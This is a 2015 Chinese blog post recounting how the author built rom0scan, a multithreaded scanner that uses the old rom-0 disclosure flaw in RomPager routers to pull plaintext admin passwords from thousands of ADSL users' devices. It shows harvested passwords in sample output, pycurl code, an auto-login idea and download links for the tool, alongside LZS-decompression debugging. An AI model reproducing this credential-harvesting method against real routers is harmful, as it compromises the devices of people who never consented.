标题: 程序员的片段(2)--rom0scan.exe出台记 创建: 2015-04-17 11:39 更新: 链接: https://scz.617.cn/python/201504171139.txt 决定以一种不那么严谨的风格写写程序员的片段。有些是一般性回忆,有些是带点启 发性的流水帐。什么动机、什么目的呢?啥也没有,就是扯淡。由于不严谨,不是正 经技术文章,文中内容万不可当真,我就那么一写,你就那么一看。 rom0scan.exe是一个小工具,在这里下载: http://pan.baidu.com/s/1i3gnO4P 看上去是这样的: $ rom0scan.exe -m -b xx.xx.xx.1 -e xx.xx.xx.254 xx.xx.xx.141 [200] [RomPager/4.07 UPnP/1.0] [TD-W8901G] [310790] xx.xx.xx.34 [200] [RomPager/4.07 UPnP/1.0] [TD-W8101G] [EbS7P27] xx.xx.xx.120 [200] [RomPager/4.07 UPnP/1.0] [TD-8817] [freddym009cmm] xx.xx.xx.205 [200] [RomPager/4.07 UPnP/1.0] [TD-W8901G] [password] xx.xx.xx.53 [200] [RomPager/4.07 UPnP/1.0] [Home Gateway] [EbS10P32] xx.xx.xx.165 [200] [RomPager/4.07 UPnP/1.0] [TD-8817] [362729] xx.xx.xx.89 [200] [RomPager/4.07 UPnP/1.0] [TD-8817] [password] xx.xx.xx.242 [200] [RomPager/4.07 UPnP/1.0] [TD-W8901G] [BASHO87013899828] xx.xx.xx.106 [200] [RomPager/4.07 UPnP/1.0] [TD-8817] [password] xx.xx.xx.66 [200] [RomPager/4.07 UPnP/1.0] [Home Gateway] [EbS7P27] xx.xx.xx.208 [200] [RomPager/4.07 UPnP/1.0] [Home Gateway] [362729] xx.xx.xx.159 [200] [RomPager/4.07 UPnP/1.0] [Home Gateway] [m4f6h3] xx.xx.xx.52 [200] [RomPager/4.07 UPnP/1.0] [TD-8817] [fdpm0r] 下面说说为什么写这个工具。 参看: Misfortune Cookie漏洞(CVE-2014-9222)补遗 https://scz.617.cn/misc/201504141114.txt 其中提到: -------------------------------------------------------------------------- 我没有找到可能存在的神技巧快速、稳定地远程确定这些值: C_Array authoff evilnum evilcookie 暂时计划在将来的日子里陆续手工收集这些数据,这依赖于我在野地里找到的测试目 标以及能否下载得到相关固件。 -------------------------------------------------------------------------- 很多型号、版本的固件已经无法下到,我只能先尽可能地收集各种型号、版本的固件, 然后去找使用该固件的目标。 型号比较容易扫描,"GET / HTTP/1.0\r\n\r\n"导致的401响应中有: -------------------------------------------------------------------------- HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="TD-W8901N" Content-Type: text/html Server: RomPager/4.07 UPnP/1.0 Protected Object

Protected Object

Username or Password error -------------------------------------------------------------------------- 可以从"WWW-Authenticate:"中析取型号。版本信息就很困难了: http:///status/status_deviceinfo.htm 这个页面上有固件的精确版本,但访问它需要认证。可以利用rom-0漏洞获取口令。 有rom-0漏洞的victim一定有Misfortune Cookie漏洞,反之却不成立。在研究阶段不 必纠结于那些没有rom-0漏洞只有Misfortune Cookie漏洞的情形。先把两种漏洞都有 的固件、测试环境、测试用例准备好,当数据收集到一定阶段之后,有可能发现某些 经验性结论,再去折腾没有rom-0漏洞只有Misfortune Cookie漏洞的情形。 找到一个B段,其中近3000个victim存在rom-0漏洞。很容易从B段中找出这些victim, 但我需要口令,从而登进去查看其所用固件版本是否是我可以下到的。 rom-0漏洞是个老洞,至少2008年就已经看到公开披露。rom-0文件有其固有格式,其 中某部分数据使用LZS压缩算法处理过,解压后可以看到WWW登录口令的明文。有很多 现成工具从rom-0中析取口令,还有在线服务。我用了Piotr Bania的C版本,很稳定。 据此写一个脚本,rom0scan.sh,从IP列表文件中读取IP,调用wget或curl下载rom-0, 用Piotr Bania的C代码从中析取口令。虽然不是多线程,至少可以自动化。当然,IP 列表需要别的手段提前准备好。rom0scan.sh确实可以工作,但我只用了一次,对于 近3000个IP,它太慢了。 如果那些victim长期稳定存在,用rom0scan.sh跑一次,慢就慢吧,也无所谓。但那 个B段的victim显然都是些ADSL拨号用户,基本上24小时之后IP就发生变化了。如果 每天都要花很长时间重新运行一次rom0scan.sh,不可接受。我需要快速找回昨天的 测试目标,靠型号只能过滤一部分,靠口令(有些口令很具有排他性)可以继续过滤。 于是我着手写rom0scan.py。并发部分用多线程+pycurl.CurlMulti()技术,这个对我 已是轻车熟路。相对困难的是LZS解压缩代码。我不想从头造轮子,上网找到了LZS解 压缩代码的Python版本: Extraction LZS with python - Filippo Valsorda [2011] https://filippo.io/decompressing-lempel-ziv-stac-in-python/ 看上去一切都很顺利,我的rom0scan.py在内存中直接进行LZS解压缩并析取口令成功。 然后,我用近3000个IP进行更广泛的测试。意外发现很多victim的口令中含有千奇百 怪的不可打印字符,即使全部是可打印字符,仍然存在明显异常,比如: xx.xx.xx.94 [200] [RomPager/4.07 UPnP/1.0] [TD-8840T 2.0] [passwordoooooooooooooooooooooooooooooooooooooooo] 实测表明目标的口令就是password,为什么程序析出来的多出一些o。用rom0scan.sh 访问目标,得到的口令正确。Piotr Bania的C代码会将解压后的数据保存到一个文件 中,我修改了rom0scan.py,用hexdump()显示Python版本的LZS解压缩结果,对比二 者后发现一些不同。比如,这是一次正确的解压结果: -------------------------------------------------------------------------- 0000000: ce ed db db 00 03 00 09 00 00 06 6c 00 00 00 09 ...........l.... 0000010: 00 00 00 00 32 32 32 32 32 32 32 32 00 00 00 00 ....22222222.... 0000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000050: 00 00 00 00 54 50 2d 4c 49 4e 4b 00 00 00 00 00 ....TP-LINK..... 0000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000090: 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ................ 00000a0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public.......... 00000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000c0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public.......... 00000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000e0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public.......... 00000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ -------------------------------------------------------------------------- 这是Python版错误的解压结果: -------------------------------------------------------------------------- 00000000 CE ED DB DB 00 03 00 09-00 00 06 6C 00 00 00 09 ...........l.... 00000010 00 00 00 00 32 32 32 32-32 32 32 32 32 32 32 32 ....222222222222 00000020 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222 00000030 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222 00000040 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222 00000050 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222 00000060 54 50 2D 4C 49 4E 4B 32-32 32 32 32 32 32 32 32 TP-LINK222222222 00000070 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222 00000080 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222 00000090 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222 000000A0 32 32 32 32 32 32 32 32-32 32 32 32 32 01 32 32 2222222222222.22 000000B0 32 32 32 32 32 32 32 32-70 75 62 6C 69 63 32 32 22222222public22 000000C0 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222 000000D0 32 32 32 32 32 32 32 32-70 75 62 6C 69 63 32 32 22222222public22 000000E0 32 32 32 32 32 32 32 32-32 32 32 32 32 32 32 32 2222222222222222 000000F0 32 32 32 32 32 32 32 32-70 75 62 6C 69 63 32 32 22222222public22 -------------------------------------------------------------------------- 再比如,这是一次正确的解压结果: -------------------------------------------------------------------------- 0000000: ce ed db db 00 03 00 09 00 00 06 6c 00 00 00 09 ...........l.... 0000010: 00 00 00 00 31 39 39 31 32 30 33 30 32 30 35 30 ....199120302050 0000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000050: 00 00 00 00 74 63 00 31 36 30 00 00 00 00 00 00 ....tc.160...... 0000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0000090: 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 ................ 00000a0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public.......... 00000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000c0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public.......... 00000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000e0: 70 75 62 6c 69 63 00 00 00 00 00 00 00 00 00 00 public.......... 00000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ -------------------------------------------------------------------------- 这是Python版错误的解压结果: -------------------------------------------------------------------------- 00000000 CE ED DB DB 00 03 00 09-00 00 06 6C 00 00 00 09 ...........l.... 00000010 00 00 00 00 31 39 39 31-32 30 33 30 32 30 35 30 ....199120302050 00000020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00000030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00000040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00000050 00 00 00 00 74 63 00 31-36 30 00 00 00 00 00 00 ....tc.160...... 00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00000080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00000090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000000A0 00 01 00 00 00 00 00 00-00 01 00 00 00 00 00 00 ................ 000000B0 00 01 00 00 00 00 00 00-70 75 62 6C 69 00 00 00 ........publi... 000000C0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000000D0 00 00 00 00 00 00 00 00-70 75 62 6C 69 00 00 00 ........publi... 000000E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 000000F0 00 00 00 00 00 00 00 00-70 75 62 6C 69 00 00 00 ........publi... -------------------------------------------------------------------------- 几乎可以确定,Python版本的LZS解压缩代码存在某些细小的BUG。有时尽管其解压结 果并不正确,但由于析取口令的代码逻辑有一定容错性,导致对于某些rom-0析取口 令成功,从另一些rom-0则析取出多余的无效数据。Filippo Valsorda的代码显然没 有得到广泛测试,一直没有更新过。我尝试给他发邮件反馈BUG,没有得到回应。无 奈之下,我只能自己阅读LZS算法: Lempel Ziv Stac (LZS) http://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Stac 没有仔细分析Filippo Valsorda的代码,大致觉得有几处不靠谱: -------------------------------------------------------------------------- 1) 处理编码后的length时,代码逻辑不够清晰。从前述对比测试用例看,很可能是取 length时有BUG。 2) BitReader.__init__()中为什么要用bool()做强制类型转换?完全不必要。 3) LZSDecompress()中的window形参没必要出现,从而class RingList没必要存在。 -------------------------------------------------------------------------- 扯远一点。Filippo Valsorda的LZSDecompress(),其window是有默认值的形参,并 且还是复杂数据类型。如果在多线程上下文中调用LZSDecompress(),同时没有显式 提供window形参,好像有问题?由于1)、2)、3)的同时存在,我现在也不确认导致问 题是三者的叠加效应还是别的原因。 最后我照着LZS算法的维基描述以及其C版本实现重写了Python版本实现,不想修改 Filippo Valsorda的代码,太不合我的味口了。 至此,似乎所有问题都完满解决了。再次用近3000个IP进行广泛测试。相当意外地发 现,几乎所有victim的口令都被正确析取出来,但同时出现了一组内容不固定的乱码。 这组乱码很神密地出现,最初我甚至不能在rom0scan.py中找到与之对应的输出代码, 换句话说,我不知道它们是谁,从哪里来,怎么就输出出来了,这简直就是三个终极 问题的翻版。 起初我将rom0scan.py中所有涉及输出的代码都屏蔽了,这组神秘的乱码仍然顽固地 出现,虽然不影响析取口令,但看着它们我很受伤。聊以自慰的是,我的测试用例集 (近3000个IP)可以稳定触发此现象,如果真是随机出现,我就傻眼了,可没那么多精 力跟它耗下去。我从测试用例集中抽了部分IP进行测试,神秘的乱码消失了,只要我 用全集测试,乱码再次出现。现在不管我信不信,肯定是只有某些IP才能触发乱码。 我得找到这些IP,缩小测试集,从而减少不必要的干挠。 办法很简单,用二分法抽取测试IP,逐步排除不会导致乱码的IP。第17次抽取测试IP 时,近3000个IP只剩下一个IP了,而这个IP不负众望地触发了乱码。 rom0scan.py -b Wireshark抓包,终于发现这个IP有些与众不同: $ curl --connect-timeout 5 -m 5 -is http://x.x.x.x | xxd -g 1 0000000: 48 54 54 50 2f 31 2e 30 20 34 30 34 20 4e 6f 74 HTTP/1.0 404 Not 0000010: 20 46 6f 75 6e 64 0d 0a 0d 0a Found.... $ curl --connect-timeout 5 -m 5 -I -is http://x.x.x.x | xxd -g 1 0000000: dd cd d9 ae fc e5 33 4e 78 f9 d3 a4 73 ed 25 44 ......3Nx...s.%D 0000010: 44 a7 5b 5e 72 0c 1a f3 86 4a b7 3e d4 44 6b c8 D.[^r....J.>.Dk. 0000020: 81 58 ca 04 d0 6f 82 d9 4c e3 b9 7d 7c b7 10 e4 .X...o..L..}|... 0000030: f8 09 a6 5f 84 25 12 db fb 7c 2f 02 3c a0 24 b9 ..._.%...|/.<.$. GET请求返回404,太简单了,甚至是HTTP/1.0。 HEAD请求返回的根本不是HTTP协议报文,天知道是些啥,而这些就是我看到的乱码。 rom0scan.py中有这样的代码: -------------------------------------------------------------------------- c = pycurl.Curl() c.head = StringIO() c.setopt( pycurl.HEADERFUNCTION, c.head.write ) c.setopt( pycurl.CUSTOMREQUEST, "HEAD" ) c.setopt( pycurl.NOBODY, True ) -------------------------------------------------------------------------- 当访问其他IP时,这段代码很好地抓到了HTTP响应,确保它被其他代码处理,而不是 向stdout输出,即使HEAD请求导致的HTTP响应包含HTTP Body,也没问题。 但对于前述惹祸的IP,这段代码未能抓住HEAD请求导致的响应数据,直接向stdout输 出了。这应该是libcurl的内部行为,所以屏蔽rom0scan.py中的输出代码没用。 没办法,只好将代码改成: -------------------------------------------------------------------------- c = pycurl.Curl() c.head = StringIO() c.setopt( pycurl.HEADERFUNCTION, c.head.write ) c.body = StringIO() c.setopt( pycurl.WRITEFUNCTION, c.body.write ) c.setopt( pycurl.CUSTOMREQUEST, "HEAD" ) c.setopt( pycurl.NOBODY, True ) -------------------------------------------------------------------------- 本来对于HEAD请求,不必靠pycurl.WRITEFUNCTION消化HTTP Body,pycurl.NOBODY就 足够了。现在为了对付惹祸IP,把前者请了回来。 到这儿,rom0scan.py算是大功告成。 曾经计划在利用rom-0漏洞析取口令之后,自动登录: r'Authorization: Basic %s' % base64.b64encode( r"%s:%s" % ( username, password ) ) 访问: http:///status/status_deviceinfo.htm 然后自动从中析取固件的精确版本信息。后来放弃了。考虑到对于不同型号的目标这 个链接不够通用,再就是我的目标B段其母语不是英语、汉语,正则匹配时考虑的因 素太多。我还是手工登录、肉眼查看吧。 刻意没有对输出信息进行更强的过滤,所以有时你会看到: xx.xx.xx.196 [404] [RomPager/4.07 UPnP/1.0] [] [] xx.xx.xx.49 [403] [] [] [] rom0scan.py的初衷是"尽可能收集有用信息",以供研究Misfortune Cookie漏洞使用。 合理拆解需求,分层次、分阶段进行快速扫描,尽可能收集有用信息并进行归档存储, 重复利用保存在本地的各层次、各阶段扫描结果。不要把扫描当成纯粹的暴力行为, 这是一门艺术,也是我一直以来的扫描理念。如果是设计"大型"扫描器,更需要秉持 这种理念,不扯那么远了。 rom0scan.exe是rom0scan.py的py2exe版本。我是Windows的忠实用户,喜欢并且相信 一大票人同样喜欢绿色Windows版本。写这个工具是为了研究其他漏洞,它已经覆盖 了我的原始需求。就像superdns.exe、GetHttpsInfo.exe一样,这些小工具我自己就 在用。为了从繁重的体力劳动中解放出来,程序员就会给自己开发一些辅助工具,要 不怎么说懒惰是世界进步、人类进化的原动力之一呢。 我分享这些exe,目标人群从来都不是会自己编译源代码的群体,而是各路小白用户 或者绿色Windows版爱好者。对于会自己编译源代码的群体,你们就自力更生去吧, 广阔天地等着你们。 我的百度网盘分享: http://pan.baidu.com/share/home?uk=1649586503&view=share superdns_20141118.7z http://pan.baidu.com/s/1nt9h1l3 GetHttpsInfo(20150407).7z http://pan.baidu.com/s/1dDm1riT 最后说个事儿,正经干活时我从来不这样用: $ rom0scan.exe -m -b -e 我都是这样用: $ rom0scan.exe -m 我会用其他手段更快速地扫描目标范围,生成一个初步的hostlist,然后交给 rom0scan.exe。